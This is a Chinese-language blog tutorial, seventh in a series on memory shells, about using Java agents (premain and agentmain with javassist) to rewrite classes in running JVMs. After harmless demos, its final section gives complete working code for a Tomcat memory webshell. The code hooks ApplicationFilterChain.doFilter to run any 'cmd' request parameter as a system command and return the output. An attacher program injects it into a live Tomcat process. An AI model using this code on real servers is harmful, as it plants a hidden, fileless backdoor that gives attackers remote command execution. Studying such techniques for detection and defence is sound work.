欢迎光临
我们一直在努力

内存马七:agent

agent内存马

java agent基础

Java Agent 是一个利用 Java Instrumentation API 编写的组件。它允许你在类加载过程中,甚至在类运行期间,动态地修改字节码。

两种加载时机:

加载方式触发参数核心入口方法应用场景
静态加载 (Pre-main) -javaagent:agent.jar public static void premain(…) APM 监控(Skywalking)、RASP 启动、安全审计。
动态加载 (Agent-main) 通过 VirtualMachine Attach public static void agentmain(…) 运行时诊断(Arthas)、热补丁、注入隐藏木马。

代码位于包 java.lang.instrument 下。

image-20260315223217216

IllegalClassFormatException:当输入参数无效时,实现会抛 ClassFileTransformer.transform 出。这可能是因为初始类文件字节无效,或之前应用的变换损坏了字节。

UnmodifiableClassException:当某个指定类无法修改时,该实现会抛 Instrumentation.redefineClasses 出。

ClassDefinition:绑定/定义类 (构造方法:使用提供的类和类文件字节创建一个新的 ClassDefinition 绑定)

ClassFileTransformer:提供transform方法(真正逻辑写在这个接口的实现类中)

Instrumentation:

​ 这是 Java 平台的 java.lang.instrument.Instrumentation 接口,供 Java agent(通过 premain 或 agentmain 获得)在运行时进行字节码级别的检测与改造,用于实现探针、性能分析、覆盖率、日志等工具。

主要功能(简要):

  • ​ 注册/注销字节码转换器:addTransformer / removeTransformer(支持可重转换标志)。
  • ​ 对已加载类做变换或替换:retransformClasses(重转换)和 redefineClasses(重定义)。
  • ​ 查询能力与限制:isRetransformClassesSupported、isRedefineClassesSupported、isNativeMethodPrefixSupported、isModifiableClass。
  • ​ 类和对象信息:getAllLoadedClasses、getInitiatedClasses、getObjectSize。
  • ​ 向引导/系统类加载器追加 JAR:appendToBootstrapClassLoaderSearch、appendToSystemClassLoaderSearch。
  • ​ 原生方法包装支持:setNativeMethodPrefix(配合 transformer 使用)。
  • ​ 重要约束(要点):

    • ​ 重定义/重转换不能改动类的字段/方法签名或继承关系(仅能修改方法体/常量池/属性等)。
    • ​ 已激活的栈帧继续执行原实现,重新定义不会触发静态初始化器。
    1:使用 premain

    在程序启动时替换目标类。

    一个简单demo

    源程序:每秒Meow!一下

    //=========================== Cat.java
    package org.my;

    public class Cat {
    public void say() {
    System.out.println("Meow!");
    }
    }

    //=========================== Main.java
    package org.my;
    public class Main {
    public static void main(String[] args) {
    Cat cat = new Cat();
    while (true) {
    cat.say();
    try {
    Thread.sleep(1000);
    } catch (InterruptedException e) {
    throw new RuntimeException(e);
    }
    }
    }
    }

    agent程序:Meow!改成injected! 代码完成后执行 mvn clean package ,可以看到target下有两个jar包即可。

    //=========================== pom.xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.my</groupId>
    <artifactId>AgentShell</artifactId>
    <version>1.0SNAPSHOT</version>

    <properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
    <project.build.sourceEncoding>UTF8</project.build.sourceEncoding>
    </properties>
    <dependencies>
    <dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.30.2GA</version>
    </dependency>
    </dependencies>
    <build>
    <plugins>
    <plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>mavenassemblyplugin</artifactId>
    <configuration>
    <descriptorRefs>
    <descriptorRef>jarwithdependencies</descriptorRef>
    </descriptorRefs>
    <archive>
    <manifestEntries>
    <PremainClass>org.my.AgentMainTest</PremainClass>
    <CanRedefineClasses>true</CanRedefineClasses>
    <CanRetransformClasses>true</CanRetransformClasses>
    </manifestEntries>
    </archive>
    </configuration>
    <executions>
    <execution>
    <id>makeassembly</id>
    <phase>package</phase>
    <goals>
    <goal>single</goal>
    </goals>
    </execution>
    </executions>
    </plugin>
    </plugins>
    </build>
    </project>

    //=========================== Cat.java
    package org.my;

    public class Cat {
    public void say() {
    System.out.println("injected!");
    }
    }

    //=========================== MyTransformer.java
    package org.my;

    import java.io.ByteArrayOutputStream;
    import java.io.FileInputStream;
    import java.io.InputStream;
    import java.lang.instrument.ClassFileTransformer;
    import java.security.ProtectionDomain;

    public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader,
    String className,
    Class<?> classBeingRedefined,
    ProtectionDomain protectionDomain,
    byte[] classfileBuffer) {

    // 注意:className 在 JVM 内部是用斜杠分隔的
    if ("org/my/Cat".equals(className)) {
    System.out.println("成功拦截并准备替换类: " + className);
    return read("/path/target/classes/org/my/Cat.class");
    }
    // 不修改的类必须返回 null,让 JVM 使用原始的字节码,否则会导致类加载失败
    return null;
    }

    /**
    * 从指定路径读取字节码文件并返回字节数组
    * @param path
    * @return
    */

    public static byte[] read(String path) {
    try (FileInputStream fis = new FileInputStream(path);
    ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
    byte[] tmp = new byte[1024];
    int len;
    while ((len = fis.read(tmp)) != 1) {
    bos.write(tmp, 0, len);
    }
    return bos.toByteArray();
    } catch (Exception e) {
    System.err.println("读取字节码失败: " + e.getMessage());
    return null; // 如果读取失败,返回 null 让 JVM 使用原始类,防止崩溃
    }
    }
    }

    //=========================== AgentMainTest.java
    package org.my;

    import java.lang.instrument.Instrumentation;

    public class AgentMainTest {

    public static void premain(String agentArgs, Instrumentation inst) {
    System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
    inst.addTransformer(new MyTransformer());
    }
    }

    在源程序出执行命令

    java org.my.Main

    image-20260315230505699

    java -javaagent:path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar org.my.Main

    image-20260315230407519

    2:使用 agentmain

    对运行中的 Java 进程附加 Agent 。

    一个简单demo

    源程序:同上,未改变

    agent程序:只写了有改动的部分

    //========================= AgentMainTest 增加一个agentmain函数
    package org.my;

    import java.lang.instrument.Instrumentation;
    import java.lang.instrument.UnmodifiableClassException;

    public class AgentMainTest {
    public static void premain(String agentArgs, Instrumentation inst) {
    System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
    inst.addTransformer(new MyTransformer());
    }
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException,
    ClassNotFoundException {
    inst.addTransformer(new MyTransformer(), true);
    inst.retransformClasses(Class.forName(Cat.class.getName()));
    }
    }
    //========================= pom.xml
    <manifestEntries>
    <PremainClass>org.my.AgentMainTest</PremainClass>
    <AgentClass>org.my.AgentMainTest</AgentClass>
    <CanRedefineClasses>true</CanRedefineClasses>
    <CanRetransformClasses>true</CanRetransformClasses>
    </manifestEntries>

    运行源程序后,jps -l找到源程序pid。命令行执行jcmd 28276 help,有两种情况:有JVMTI.agent_load这一项的话 jcmd 28276 JVMTI.agent_load /path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar即可;没有的话用下面的java代码执行。

    package org.my;
    import com.sun.tools.attach.VirtualMachine;

    public class Attacher {
    public static void main(String[] args) throws Exception {
    // 目标进程 PID
    String pid = "28276";
    // Agent JAR 绝对路径
    String agentPath = "/path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar";

    VirtualMachine vm = VirtualMachine.attach(pid);
    try {
    vm.loadAgent(agentPath);
    System.out.println("Agent 注入成功!");
    } finally {
    vm.detach();
    }
    }
    }

    image-20260315232725847

    使用javassist动态修改字节码

    只需要改变MyTransformer

    package org.my;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;
    import javassist.LoaderClassPath;

    import java.io.*;
    import java.lang.instrument.ClassFileTransformer;
    import java.security.ProtectionDomain;

    public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader,
    String className,
    Class<?> classBeingRedefined,
    ProtectionDomain protectionDomain,
    byte[] classfileBuffer) {
    if(className.equals("org/my/Cat")) {
    ClassPool pool = ClassPool.getDefault();
    pool.appendClassPath(new LoaderClassPath(loader));
    try{
    CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
    CtMethod say = cc.getDeclaredMethod("say");
    say.setBody("{ System.out.println(\\"Hacked!\\"); }");
    return cc.toBytecode();
    } catch (Exception e) {
    throw new RuntimeException(e);
    }
    }
    return null;
    }

    }

    image-20260315235026968

    内存马利用

    agentmain更便于拿来使用,在普通的tomcat程序中选择一个常出现的类改造即可,这里我们可以选择filter的处理类org/apache/catalina/core/ApplicationFilterChain

    //==================== MyTransformer.java 具体的处理逻辑在这里面
    package org.my;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.LoaderClassPath;

    import java.io.*;
    import java.lang.instrument.ClassFileTransformer;
    import java.security.ProtectionDomain;

    public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader,
    String className,
    Class<?> classBeingRedefined,
    ProtectionDomain protectionDomain,
    byte[] classfileBuffer) {
    if(className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
    ClassPool cp = ClassPool.getDefault();
    cp.appendClassPath(new LoaderClassPath(loader));
    try {
    CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
    cc.getDeclaredMethod("doFilter").insertBefore("{ " +
    "String cmd = request.getParameter(\\"cmd\\");\\n" +
    "if (cmd != null) {\\n" +
    " try {\\n" +
    " Process proc = Runtime.getRuntime().exec(cmd);\\n" +
    " java.io.InputStream in = proc.getInputStream();\\n" +
    " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\\n" +
    " response.setContentType(\\"text/html\\");\\n" +
    " String line;\\n" +
    " java.io.PrintWriter out = response.getWriter();\\n" +
    " while ((line = br.readLine()) != null) {\\n" +
    " out.println(line);\\n" +
    " out.flush();\\n" +
    " out.close();\\n" +
    " }\\n" +
    " } catch (Exception e) {\\n" +
    " throw new RuntimeException(e);\\n" +
    " }\\n" +
    "}" +
    " }");
    return cc.toBytecode();

    }catch (Exception e){
    throw new RuntimeException(e);
    }
    }
    return null;
    }

    }

    //==================== AgentMainTest.java agentmain入口
    // ps:pom.xml中的配置要记得 <Agent-Class>org.my.AgentMainTest</Agent-Class>
    package org.my;

    import java.lang.instrument.Instrumentation;
    import java.lang.instrument.UnmodifiableClassException;

    public class AgentMainTest {
    public static void premain(String agentArgs, Instrumentation inst) {
    System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
    inst.addTransformer(new MyTransformer());
    }
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException{
    inst.addTransformer(new MyTransformer(), true);
    for (Class<?> clazz : inst.getAllLoadedClasses()) {
    if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
    System.out.println("Retransforming class: " + clazz.getName());
    inst.retransformClasses(clazz);
    }
    }
    }
    }

    //==================== Attacher.java 自动化执行代码,自动获取pid和jar包路径
    package org.my;
    import com.sun.tools.attach.VirtualMachine;

    import java.io.BufferedReader;
    import java.io.InputStreamReader;

    public class Attacher {
    public static void main(String[] args) throws Exception {
    // 获取目标进程 PID
    String pid = getPID("org.apache.catalina.startup.Bootstrap");
    if (pid == null) {throw new RuntimeException("未找到目标进程");}
    // Agent JAR 绝对路径
    String agentPath = getJarPath(Attacher.class)+"../AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar";
    VirtualMachine vm = VirtualMachine.attach(pid);
    try {
    vm.loadAgent(agentPath);
    System.out.println("Agent 注入成功!");
    } finally {
    vm.detach();
    }
    }
    public static String getPID(String className){
    try {
    Process process = Runtime.getRuntime().exec("jps -l");
    BufferedReader bufferedReader = new BufferedReader(
    new InputStreamReader(process.getInputStream()));
    String line;
    while ((line = bufferedReader.readLine()) != null) {
    if (line.contains(className)){
    return line.split(" ")[0];
    }
    }
    } catch (Exception e) {
    throw new RuntimeException(e);
    }
    return null;
    }
    public static String getJarPath(Class<?> clazz){
    // 获取当前类所在的 JAR 包路径
    String path = clazz.getProtectionDomain().getCodeSource().getLocation().getPath();
    if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
    path = path.substring(1);
    }
    return path;
    }
    }

    agent代码需要打包(mvn clean package)。在启动一个简单的tomcat项目后,执行Attacher.java,在url中拼上cmd参数。

    image-20260316010645169

    参考内容

    https://su18.org/post/irP0RsYK1/#3-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD-classpathbootclasspath-systemclasspath

    https://su18.org/post/memory-shell/

    https://www.bilibili.com/video/BV1HaGPzcENy

    赞(0)
    未经允许不得转载:171主机测评 » 内存马七:agent
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址